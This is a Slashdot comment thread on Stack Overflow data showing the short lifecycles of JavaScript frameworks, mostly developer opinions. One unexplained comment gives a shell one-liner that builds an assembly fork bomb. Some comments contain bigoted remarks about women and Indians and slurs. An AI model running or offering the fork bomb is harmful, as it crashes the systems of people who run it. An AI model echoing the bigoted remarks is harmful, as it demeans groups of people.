Slashdot Mirror
Stack Overflow Stats Reveal 'the Brutal Lifecycle of JavaScript Frameworks' (stackoverflow.blog)
A developer on the Internal Tools team at Stack Overflow reveals some new statistics from their 'Trends' tool:
JavaScript UI frameworks and libraries work in cycles. Every six months or so, a new one pops up, claiming that it has revolutionized UI development. Thousands of developers adopt it into their new projects, blog posts are written, Stack Overflow questions are asked and answered, and then a newer (and even more revolutionary) framework pops up to usurp the throne...
There appears to be a quick ascent, as the framework gains popularity and then a slightly less quick but steady decline as developers adopt newer technologies. These lifecycles only last a couple of years. Starting around 2011, there seems to be major adoption of a couple of competing frameworks: Backbone, Knockout, and Ember. Questions about these tags appear to grow until around 2013 and have been in steady decline since, at about the same time as AngularJS started growing. The latest startup is the Vue.js framework, which has shown quick adoption, as it is one of the fastest growing tags on Stack Overflow. Only time can tell how long this growth will last.
"Let's be honest," the post concludes. "The size of a developer community certainly counts; it contributes to a thriving open source environment, and makes it easier to find help on Stack Overflow."
There appears to be a quick ascent, as the framework gains popularity and then a slightly less quick but steady decline as developers adopt newer technologies. These lifecycles only last a couple of years. Starting around 2011, there seems to be major adoption of a couple of competing frameworks: Backbone, Knockout, and Ember. Questions about these tags appear to grow until around 2013 and have been in steady decline since, at about the same time as AngularJS started growing. The latest startup is the Vue.js framework, which has shown quick adoption, as it is one of the fastest growing tags on Stack Overflow. Only time can tell how long this growth will last.
"Let's be honest," the post concludes. "The size of a developer community certainly counts; it contributes to a thriving open source environment, and makes it easier to find help on Stack Overflow."
What happens if you need to patch or upgrade in a few years? Like for security? Do you have to rely on unsupported frameworks or throw everything away and start over? How does it work?
Remember, companies pay huge licensing fees exactly for support.
putting the 'B' in LGBTQ+
Maybe that's all the time it takes to answer all the questions for a framework.
Still just using jQuery and jQuery UI. They do pretty much everything I need. All HTML generation happens server side, and jQuery simply inline replaces the HTML content from whats pulled from the server. Doing things this way means only 1 UI stack, and it works across all environments, since only the servers need updating (plus of course routine updating of the jQuery/UI JS files themselves)
There is so much wrong about Javascript revealed here that I think we have to question its use going forwards.
The language itself is a great start to programming websites but the need for frameworks, which become "flavours of the month" that makes support so much more difficult as time goes on and the framework goes out of favour resulting in companies scrambling to find people with the skills to maintain them (sort of a short term Cobol analog). This gets worse when you realize that most web page developers don't know how to code and are using published features of the frameworks or example snippets on things like Stack Overflow.
What about security of the various frameworks and ensuring they don't do anything nefarious. I guess the extreme examples would be collecting customer data and running cryptocurrency miners on end-users webpages - but I'm sure there are a lot of more minor security issues that can be hidden in these frameworks.
Finally, I have to wonder about the maintainability of all these frameworks. On one hand, I guess frameworks with issues get identified by the community quickly and are abandoned (but, going back to the previous point, companies have to spend more money because their developers aren't competent to move the page to different frameworks).
I'm not sure I see a solution for these problems. Maybe WebAssembly will be the ultimate solution (with tested and supported libraries that web developers can use and rely on) but I'm hoping that W3C and other groups are looking ahead to the next generation of web development tools.
Mimetics Inc. Twitter
Maybe there needs to be the question, what problem's are the JS frameworks suppose to solve?
You would never see a distinguished and respected developer like The Lord Of Hosts - APK - write his legendary APK Hosts File Engine 11++ SR9 Turbo Alpha Zero product in JavaScript. It would not be able to run in blazing fast kernel mode if he did.
I am so tired of sites using remotely hosted framework libraries where you won't get anything other than a blank page if you don't enable JavaScript. Same with sites where the search doesn't work without scripting, or even links on the page don't work. Did we learn nothing when that one developer removing a single module from the NPM repository caused a chain reaction breaking thousands, maybe millions, of sites?
https://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos/
I get why they are attractive to developers, but Lesson #1 of the Internet is that you never rely on 100% uptime for remote content. A lesson that seems to have been forgotten by the majority of web developers these days. Servers go down, routers go down, DDoS attacks happen, servers get hacked, and so on. I wish developers would take a little more time to stop and think about whether the latest flashy whizbang feature really offers anything that actually benefits the people visiting the site, or if you're just showing off. I would be willing to bet that at least 95% of the time, it's people just showing off. Plenty of times, less is more (and no, that's not a joke about the command line text readers).
We had GUIs in the 1990s with straightforward architectures. You could develop quickly with Delphi. No problems. JS front ends are just GUIs so why do we need mountains of css, html and js to get it to work?
Front end development is an expensive clusterfuck.
http://michaelsmith.id.au
Firefox was paid by the javascript using community to get rid of XUL extentions like noscript which stopped javascript frameworks in their tracks and use web extensions which can be used for javascript tracking and coin mining. Join the resistance, use Palemoon, Waterfox or Basilisk instead.
I won't just stand here and proclaim that javascript is the largest collective waste of human effort in history since it's gone from novelty to serious security threat, I use a chair like a normal person. Anyway, javascript was neat but now it's a threat and it needs to be stopped. The good news is that CSS3 is very advanced and with a few tweaks to HTML we could provide all the modern functionality for webpages without a single script tag. It's too bad it won't happen because large companies have a vested interest in being able to track you endlessly.
Anons need not reply. Questions end with a question mark.
Question frequency on StackOverflow isn't a good indicator of use. Every question gets asked, then it just shows up in searches - StackOverflow has hordes of NAZI karma whores on the lookout for duplicate questions.
As the fastest and leanest framework
As a once Delphi programmer, that is one reason I like the combination of JavaScript/TypeScript, the Mithril vdom https://mithril.js.org/ (which uses a "HyperScript"-like API to define HTML via code), and Tachyons http://tachyons.io/ for embedded CSS where each class defines the CSS effect (e.g. "underline") -- along with a simplified Flux-like one-way data flow architecture. Although people could swap out Mithril and Tachyons for similar systems to get a similar effect.
Sadly, for my day job I am stuck using Angular, which is a my-way-or-the-highway framework with a lot of questionable design choices leading to excessive complexity and difficult debugging.
A 21st century issue: the irony of technologies of abundance in the hands of those still thinking in terms of scarcity.
It's natural that there're going to be more questions with new frameworks, and as those questions get answered - fewer new questions. That is the nature of Stack Overflow - look for someone who's already answered your question, before you ask.
I started using Vue this year. I evaluated React but I just couldn't enjoy the JSX syntax. Angular 2 had just come out and I found it to be far too obtuse, too far from "the metal." I briefly experimented with Riot, but it was losing IE11 compatibility too fast.
Vue hit the sweet spot for me -- the ramp-up was easy, the code and API have a small but powerful footprint, it works well either interpreted in-browser or compiled via webpack, the Chrome dev tools are great, and I didn't have to learn the entire ecosystem (Vue, Vuex, Axios, etc.) to become productive. Coding single-file components reminds me of the good old days of writing server-side ASP.NET controls -- markup and script are separate, the lifestyle is simple to grok. The framework just does one thing--it handles the DOM update/manipulation details, allowing me to focus on behavior and state. I also like that the vast majority of my Vue code isn't really "vue," it's just plain HTML and JavaScript, so whatever comes next (web components, etc.), the transition will be much less painful than if I were using a more opinionated framework.
Anyone who's been developing for any length of time has seen this cycle play out continuously.
Hot young developers with a superiority complex bring out some new tech, completely ignoring existing technology that already did the job well.
Jeez, just look at JavaScript itself. It totally ignored decades of exiting graphics APIs and instead had an unusable graphics API that felt like it was designed by someone who'd never done graphics before, so poorly implemented that trying to write a 3d engine that rendered more than 5 frames per second was an impossibility. Just give me access to the goddamn frame buffer! HTML5 Canvas and WebGL came along eventually, but really there was no excuse for it ever being so bad.
Even react is trendy nonsense. jquery works, especially for quick demos, and just plain javascript isn't bad as long as you don't need babysitting when it comes to organizing data in a fat client.
In this nude gig based economy
What fresh capitalistic hell is this? It's official, we're done as a species. Our only hope is that the robots get tired of looking at us meatbags and do us all in.
Those who advocate genocide deserve every protection afforded by law, and none afforded by common human decency.
Javascript is cancer of the internet.
It says it right there on the Y axis of their graph: "% of stack overflow questions that month"... When you don't know how to X in framework Y? you google, and probably land on stack overflow if the question exists; you don't post another question. This metric doesn't equate to popularity it equates primarily to question saturation and secondly to popularity in terms of uptake (less questions asked by advanced users).
We all know JS frameworks come and go quickly compared to other languages but this analysis is the height of numerology... if you're going to do some statistics be objective.
Our only hope is that the robots get tired of looking at us meatbags and do us all in.
Let's just hope Skynet reads Reddit in its impressionable childhood years. It'll definitely nuke us then.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's not about JavaScript because A) all the big popular frameworks are some kind of MVC, they are all about interfacing with the DOM and users, JavaScript is just what's available. B) There is a work in progress standard to better solve this problem as part of the web platform.
Also, the interpretation of these stats is flawed, it assumes new questions asked per month equates purely to popularity, but if you give it more than 2 seconds of thought you realise that there will be a saturation of common questions being asked from the release of a new framework that will die down, the initial spike is additionally due to the existing developers learning the framework, the baseline it tapers of to will be the rate of new developers taking up the framework but will be difficult to distinguish.
We all know JS MVC type frameworks come and go, they are each and experiment and a path towards learning how to do MVCs well on the web, but this analysis is just someone wanting to see what they think is true.
The latest startup is the Vue.js framework
Hmm, article characterizing cyclic rise/fall of frameworks names a single one as the new hotness. Maybe intended as an advertisement, maybe not. Over on a subreddit about unsolved mysteries, they refuse to allow postings about anything newer than 6 months, essentially to prevent current frenzy/churn over something fresh from taking over the intended ambience of mysteries that have stood the test of time; I think that principle might be well-applied when it comes to "assessing" technological cycles, namely: don't annoint one thing as "the new kid on the block" til it's really stood some kind of time test, to reduce impulses varying between self-promotion and premature assessment.
- First they ignore you, then they laugh at you, then ???, then profit.
I came into a company that was a recently bought out startup where I found the CTO to be incredibly knowledgeable about web programming, PC application programming and PICmicro firmware programming.
Now, that I'm doing a startup and programming for multiple targets (namely, HTML in Javascript with jQuery and Angular, PC and MaC programming in Java/C/C++/C#/Objective C and firmware in C) I think I would probably impress new programmers coming into the company in the same way.
Mimetics Inc. Twitter
I always thought that meant work from home, nude.
It's quite nice if you can get the work.
A few people have questioned the validity of rating Framework popularity by the question rate on Stack Overflow. I just wanted to say that I think it's valid in this case if I compare it to other surveys of different programming languages based on the rate of new questions - I see something every year or so like (https://insights.stackoverflow.com/survey/2017) in which the popularity of different programming languages is rated by the activity on each language.
I'm of mixed thoughts about Stack Overflow - All of us use it to help with figuring out a problem although at best, you'll find the answer around 25% of the time and probably 30% of the time what's there will lead you in the wrong direction. But, questions do get asked and looking at them by time, you'll get an idea of what people are doing.
Mimetics Inc. Twitter
Slackmongers would be sneaking in cell phones and 'not working', if I let them wear clothes.
The reason you keep seeing new frameworks pop up is that the prior frameworks don't really solve the base problems that need to be solved.
To make it worse there will be groups that have different perception of what the "base problems" are. I am sure there are more than two such categories of players.
Hence, more frameworks.
You need to stop and ask are web SPAs with rich interactivity really needed in the first place? Having thought about it my conclusion is a resounding YES. If you don't agree obviously you will never like any framework that I like. We won't even agree on whether Javascript itself should be required to be enabled or not.
For me right now that means Angular. I did a lot of work with JSF but that just doesn't cut it anymore. It doesn't matter to me that Vue or ReactJS or some other framework is "up and coming" on SO as long as Angular development proceeds. If anything "my" group is going to get good ideas from those other groups and my own application will get better if I keep an open mind about it.
At the end of the day I want to get my app deployed. The users don't give a damn what framework I used
when a language that primarly runs on a browser doesn't even have functions to escape text into html - for the browser.
i program js so little that when i do i often end up on stack overflow or blogs looking up basics like how to iterate over objects arrays rememebring in the back of my mind there are weird arcane rules. trying to look up what half decent bit of language update is in each brower hoping you can upgrade and get things done.
and angular was a bunch of toss anyway, talk about overcomplicating things.
and frameworks only tend to get written by framework nazis, whose joy seems not to be enabling you do things, but stopping you doing things you want to do while they repeat 'thats not the way MVC frameworks work' like some fucking child
It's not surprising. Firstly, most of the framework seem to ignore the lessons learned from those "old" desktop GUI frameworks. But it makes sense, those frameworks take full advantage of a language with easily expressed class inheritance which overall is a excellent match for GUI based systems. It doesn't translated to raw JavaScript, and you get a lot of reinvention. Take React. Mixing markup and code seems very easy, but it ignores that ASP and JSP already did that, and it turns out not to be very maintainable (read, a spaghetti nightmare) in the longer run.
Yes, I know Facebook uses it. But, Facebook really has one big web application and all the resources and them some to maintain it. Doesn't apply to anybody else, really.
And others insist on purity and want lightweight frameworks that just help mashing together HTML and CSS with the DOM, but if that worked, there'd be no frameworks. It's still too low level for many. Angular is the only one that's kind of interesting, as it seemed to accept that you need a more expressive language (TypeScript) to do this better in terms of maintenance and ease of use. Any brilliant team can make anything good out of anything, the point of frameworks is to lower the bar to obtain average quality from average teams.
All of this still doesn't address that HTML/CSS isn't a great core GUI abstraction and that any web page sits in a browser that are using just those libraries. But, they keep piling on. Like WebGL. OpenGL works and has way more experience under it's belt, and I'd argue that if C/C++ makes you too nervous to use, you probably shouldn't be writing a program using OpenGL like abstractions in the first place.
I'm fine with mobile and desktop applications being the preferred model. Nothing wrong with targeting a specific OS.
Before a Javascript framework even gets to first beta release, it's already months obsolete. This makes it scary for companies investing in high-end web apps. It's unnerving to commit to a framework when you know the support community could suddenly die away without warning.
-- In the beginning was the WORD, and the WORD was UNSIGNED, and the main(){} was without form and void...
People like to play with toys. And toys win in the end. Remember the toy computer called IBM PC with it's 8086 CPU? It was a toy for people to play with. And play they did. Now it rules the world (ok with bad CPU bugs these days, but you get my point).
Same with JavaScript. It's a toy. People like to play with it. Nobody asks bizar licencing fees for it. See the countless frameworks out there? Toys win. Believe it or not, JS is moving into Java territory as we speak You remember Java, do you? The language that was intended for IoT ... I'm sorry ... the "Network is the computer" thing? Upload a script and have the client run it? That Java only got hold on the server. Where it never was intended to go. And now JS is coming from the client and moving into it's territory. A silly toy. No chance in hell for professional applications. Just like the PC back in the day.
That JS has so many Frameworks constantly in the works is actually a good sign of health. Prepare for incoming. Toys win.
We suffer more in our imagination than in reality. - Seneca
So this is timely because I inherited a web project that uses a JS framework about a year ago. I'm realizing that the author of the framework (I won't mention which one to avoid extraneous discussion) has moved on a couple of years ago and created a new framework. Now I'm wondering... given that the old framework is working and I've come to grips with it and have a pretty good feel for it, is there really any risk in keeping on with it? I mean, presumably Javascript is going to keep working. It may become archaic or not follow what the cool kids are doing in UI, but I'm not really worried about that. Just how likely is it that it's just going to stop working?
Metal? Somewhere a C kernel programmer is laughing.
I don't read AC
I saw this writing on the wall WAAAAY back in 2004. I thought to myself "Man, web-dev tech is in constant turmoil. I've got on option about which tech I'm going to learn. Do I learn something that will be useless in 4 years or do I learn something that will be around forever." And long story short, I'm an embedded SW engineer working on Satellites in the one true language that's absolutely perfect for every application ever.... C.
I'm just biding my time waiting for Steve Sanderson's Blazor to emerge as a supported front end UI framework.
.NET developer, Blazor appeals to me.
A short video presentation from a demo Steve presented at NDC Olso shows how the possibility of sidestepping what I think is the current javascript framework madness.
If I was more disciplined, I might learn to love javascript and some of the various UI frameworks, but as an experienced
No amount of cleverness is going to get around the fundamental flaw that HTML is not suitable for application design. Look at the bag full of awkward, pain-in-the-ass workarounds cobbled up in JavaScript to address UI problems we solved 20 years ago. Doesn't matter how long they bang away at it, the problem isn't going to go away until they acknowledge this a move on.
try{
// Try something wrong here
}
catch(e){
var xcb="http://stackoverflow.com/search?q=[js]+"+e.message;
window.open(xcb, '_blank');
}
// https://github.com/gautamkrishnar/tcso/blob/master/javascript/tcso.js
use their knowledge of the latest JS frameworks as a weapon against slightly older IT workers, who only know the now-obsolete stuff.
I like javascript for its event model.
I like javascript for it's typeless variables (where non existence is even a state for a "member" variable).
I like javascript for its asynchronous nature.
Unfortunately most javascript developers hate javascript and want it to be something that doesn't use events, has strict typing on its variables, and is synchronous. To those I say if you don't like javascript for what it is, don't use javascript.
To preempt the answer "but what else is there to do web development"... I don't know and don't care. I'm not the one hating javascript.
(flame on baby)!!!
it is only after a long journey that you know the strength of the horse.
Lesson #1 of the Internet is that you never rely on 100% uptime for remote content.
Tell that to operators of websites using anti-adblock. If the cross-site tracking server goes down, the site's script assumes the user is using an ad blocker.
Page reloads are painful, but the loss of privacy to third-party trackers, the loss of download allowance to large frameworks and video ads, and the loss of CPU time to real-time bidding and Monero mining scripts are also painful. They're so painful, in fact, that many anti-JavaScript hardliners here and on SoylentNews would prefer page reloads as less painful than the effects of widespread misuse of JavaScript.
Provided you're coding only for web browsers that support Vanilla. Edge and Safari, for instance, have tended to lag behind Firefox and Chrome in their Vanilla support, needing a "polyfill" framework to replicate some of the missing parts. And unless you target Edge and Safari, you won't reach Windows 10 S and iOS.
The one silver lining is that IE prior to 11 no longer receives security updates, giving a convenient excuse not to support browsers that are that downlevel. This means the more convoluted Vanilla equivalents of jQuery calls aren't as necessary anymore.
Two interviews by small companies, from the owners, in the last month. Question: "Do you enjoy using Javascript in your approach to desktop web applications?" Answer: "Yes." Statement: "We thought you might say that. We're tired of 'Javascript' being the reason for our software being late, and buggy." Rebuttal: "Uh, but, wait, it depends on, no, really, huh? What just happened?"
See subject: Clientside script defeats client-server logic. CGIBin/WinCGI does same serverside (ISAPI/NSAPI libs/dlls too) NOT RAISING CLIENTSIDE POWERBILL/cpu cycles/RAM & other I/O.
Clientserver = Client ASKS QUESTION (nothing more) to GET BACK ANSWERS from server.
* Javascript's abused to deliver malware & tracking!
(Frameworks speed delivery but CRIPPLES CODERS - I was 'addicted' to RAD but I port C to ObjectPascal & do PURE API (mostly) & use FEW prebuilt units doing my own msg loops & API creation (CreateWindowEx) controls - app = small/fast).
APK
P.S.=> Block 3rd party scripts via APK Hosts File Engine 10++ SR-1 32/64-bit https://www.google.com/search?hl=en&source=hp&biw=&bih=&q=%22APK+Hosts+File+Engine%22+and+%22start64%22&btnG=Google+Search&gbv=1/ before NoScript & does more efficiently in fast kernelmode vs. slow usermode increasing msgpass
The measurement is done based on new questions and that measuring usage by "activity" is kind of ridiculous. New frameworks seem much more likely to generate SO questions. Questions about an older framework can be answered by looking at an existing project, from a blog post, tutorial or from (shock) already-written SO answers. While the data aren't conclusive either way, I think it's more plausible to believe that much of the sharp decline is due to saturation of answers to many obvious questions.
There's also the question of how to measure 'usage' of a framework or language: is it number of new projects, number of new lines of code or amount of traffic served?
Finally, it seems like actually the number of SO questions might have some negative component correlated to usage. Wouldn't we imagine (?) that the frameworks/languages that are intuitive and that have excellent documentation would both be preferred by developers (I sure do) and would lead to fewer SO questions. Again, this is speculation, but it goes to the question of what in the world the SO trends are actually measuring.
TLDR: Their measurement methodology is (poorly defined and) bad and they should feel bad.
Or women and Indians.
I got out of development a couple of years ago after falling into a few disastrous projects. Most of them were infected by framework jockeys (although not all JScript). Step 1 is to make a framework that's featureless but restrictive. Step 2 is to demand something the framework can't do and refuse to address that shortcoming. Step 3 is to fire programmers for falling behind on delivery expectations.
I seriously had one job where I could get around framework bugs with a few lines of vanilla JScript or complex Reflection. The woman down the hall spent a year struggling on a single page of the application (a personnel entry form - name, address, job title, etc). Guess who gets let go for not being a team player.
(I _was_ a team player, just at a higher level. My immediate team didn't seem interested in progressing - in the literal context of the project or adopting new skills - so I did what was best for the larger team of end-users. Oops.)
So I went to work in operations for a few years. Figured it might be easier to just shrug my shoulders and play helpless when software didn't work. Nobody else was concerned about that state of affairs so, hey, go along to get along and keep a roof over my head. From the state of the industry these days, I wonder how many of my peers stepped back and waited for the fools to hang themselves.
Well, the boredom has been getting to me. Headhunters are constantly calling. And it's buzzword bingo with frameworks. JQuery, Angular, React, Boost, Zipline, Turrican, Kltpzyxm, Purple Monkey Dishwater, whatever. You know, there's no right answer. You say you know whatever it is and you get into a project where some dummy has twisted a useless framework almost kinda sorta maybe do something but is now stuck and you're too handcuffed to help and pay for that "non-performance" with a firing/layoff. Or you say you ran an entire state bureau on 500 lines of JScript and get written off as not having applicable skills (you know, like the woman/Indian pulling in 50MB of frameworks that still doesn't have a working product).
Not sure what the solution is. I figure I'll have to stay in operations, or even get out of computers, and continue writing my own software at home as the industry devolves. Seriously, when I opened an online store, I couldn't find anything that did what I needed on the storefront side, let alone back-end financials (comparing inventory, profit, loss, expenses, etc for tax purposes). That's downright depressing. The industry's turning into a ditch-digging make-work program for women and Indians. Because it sure isn't delivering the advances in information and automation that were promised when I was a kid.
LOL. Here is an example I wrote of what I am talking about that uses those approaches:
https://github.com/pdfernhout/...
The overall discussion here general reminds me of many health discussions on the internet about relative merits of different complex interventions and prescription drugs for various chronic diseases while avoiding discussing the root causes of so much chronic disease from poor nutrition, lack of sunlight, lack of exercise, and various other lifestyle issues (i.e. "Blue Zones" and a "Whole foods, mostly plants diet").
In the same way, people can write decent web apps, but you have to focus on the basics and then build from there. Learn JavaScript (with all its quirks and good parts), learn CSS, and learn HTML. Then use some tools at just the right level of abstraction over that base with some discipline after learning some basic design principles -- including emphasizing simplicity: https://www.infoq.com/presenta...
It is a tribute to Leo Horie's ( https://github.com/lhorie ) brilliance in using his (negative) experience with AngularJS to make something so much simpler as Mithril to address those sorts of root causes. And likewise for innovation by others with inventing HyperScript, Tachyons and Flux.
Complex frameworks (e.g. Angular) typically promise they will let people shortcut all of that learning and choosing -- and the end result is often overly complex systems maintained by developers with limited understanding of both the basics and the framework. And then when things go wrong with bugs in the framework or edge cases the framework does not cover, it can be a painful experience for everyone involved -- until eventually developers go back to the basics.
I went through that myself with Dojo/Dijit, which I though would save me time and ended up costing me more time. Although in the Dojo's toolkit's defense, it originated back when browsers were far less standard-compliant than now, and a lot of innovations in it later became integrated into standards and other libraries and best practices. So there were some good reasons to choose it a decade ago, even if those reasons are much less compelling now. New overly-complex frameworks have no such excuse.
Here is an essay I wrote on my experience moving from Dojo to Mithril:
http://www.pdfernhout.net/on-m...
A 21st century issue: the irony of technologies of abundance in the hands of those still thinking in terms of scarcity.
Silly me thought that it was meant to be "new" and auto-correct "corrected" it to "nude". (Probably bases on statistical analysis of users search terms ;) )
Your interpretation is more fun though. :)
Amen! If JS weren't the main UI langage, something else would be causing similar churn headaches. Java applets were all the rage for a while, then Flash came along with better eye-candy and kicked Java's asslet; and then JS, browsers, and CPU's caught up to Flash, making Flash shrink. Now it's a battle of JS framework of the month.
I've seen PHB's drool over fancy-dancy JS, ignoring warnings about practicality. It's an unstoppable force. Dilbertian dystopia rules the Web.
Table-ized A.I.
It's usually a best practice in corporate settings to have a well-defined long-lived data model in a database and then create views on it as needed. Applications then work from the views and might use a short-lived application-specific data model. For JavaScript apps, you might create JSON APIs connecting to the views.
Somewhere in the social process of dividing up responsibility and labor is some negotiation between what issues are best solved by convenient views on the database versus best solved by specific applications using existing views and transforming data locally. Hard for anyone to comment precisely on such negotiations between client-side and server-side developers or how fair they are without knowing all the details.
Some related ideas in case they help:
I have never tried this (and unfortunately it is in PHP), but you might find restifydb of interest for some inspiration about bridging that gap: https://restifydb.com/
That sound like a more general solution than, say, the django REST framework:
https://github.com/django-json...
I've also never used this, but it or something similar might be of interest for generating JavaScript models from a JSON schema ( http://json-schema.org/ ) to help bridge that client-server gap:
https://github.com/geraintluff...
By contrast, when I am writing independent stuff intended for individuals and small groups at the small scale (or alternatively maybe everybody on the planet at the large scale), I tend to focus on NoSQL-ish alternatives where the client-side is doing a lot more of the heavy lifting and the server-side data storage is mostly storing arbitrary JSON. That way I don't have to manage much of a server-side data model or worry about upgrades to table layout or indexes.
But I know that ad-hoc NoSQL approach usually might not be best for most corporate applications in a middle scale where a well-maintained corporate database can be central to success and there are full-time knowledgeable DBAs around to take care of it. PostgreSQL increasingly is the best of both worlds, with good support for random JSON when you want it and otherwise being a great SQL database.
A 21st century issue: the irony of technologies of abundance in the hands of those still thinking in terms of scarcity.
The audience which seems to program in JS is dominated by a fairly young demographic. More interested in 'trying new stuff' than delivering stable results, and focused upon by non-programmers. A year ago I got a 'lesson' in JS from a nephew (age 12) - he knew how to use some of the APIs, but did not understand a number of key computing issues in depth: memory management, etc.
Compare that level of skills with those required to implement libc, shall we? If you write JS code, you have zero chance of implementing sprintf(), let alone an efficient strcpy().
But JS is a reasonable starting point for folks with zero programming background. Just like VB was dominant 15 yrs ago
The frameworks arise as members of the community try to implement interesting development ideas or facilitate advanced programming for people with less advanced skills. It may not be the greatest language but the community is a helpful one and the language is one where new users can easily create projects that mean something to them eg. a website. That is why it is popular and appealing. A similar phenomenon can be seen in the scientific community where Python is on the rise even though programming elitists will tout the superiority of FORTRAN or C for number crunching. I would go so far as to say that C/C++ and JAVA will only survive because JS facilitates people getting in to programming, people who as they gain more experience will turn to those other languages as necessity requires and keep them alive. So consider JS a valuable resource in enticing people to take up the profession and the abundance of frameworks a sign that the community is vibrant.
"Consensus" in science is _always_ a political construct.
JavaScript itself sucks. So no matter how good a framework appears to be, it sucks because it's foundation sucks, which leads to someone trying to fix it.
Don't worry, it will be fixed.
By removing JavaScript in favor of a type-safe languages compiling to WebAssembly.
Or is it popular because mgmt. dictates it?
putting the 'B' in LGBTQ+
Looks like that retard spammer Alexander Peter Kowalski spams again.
No one asked about your retard work yet like a retard you spam it in an incoherent manner.
I've never seen a single instance of PII being tracked
Let me guess: the sites for which you consulted either A. are paywalled, B. are donation-supported and run by a charity, or C. exist to sell some real-world product, as opposed to being funded by advertising on them. I make this guess because ad networks and ad exchanges track viewing history across publisher sites that contain the particular company's ad code in order to build an interest profile on each viewer.
Once a framework has been around for a while, tons of questions will have already been asked and answered. Google will lead people to those answers, and there's no need to keep adding more questions.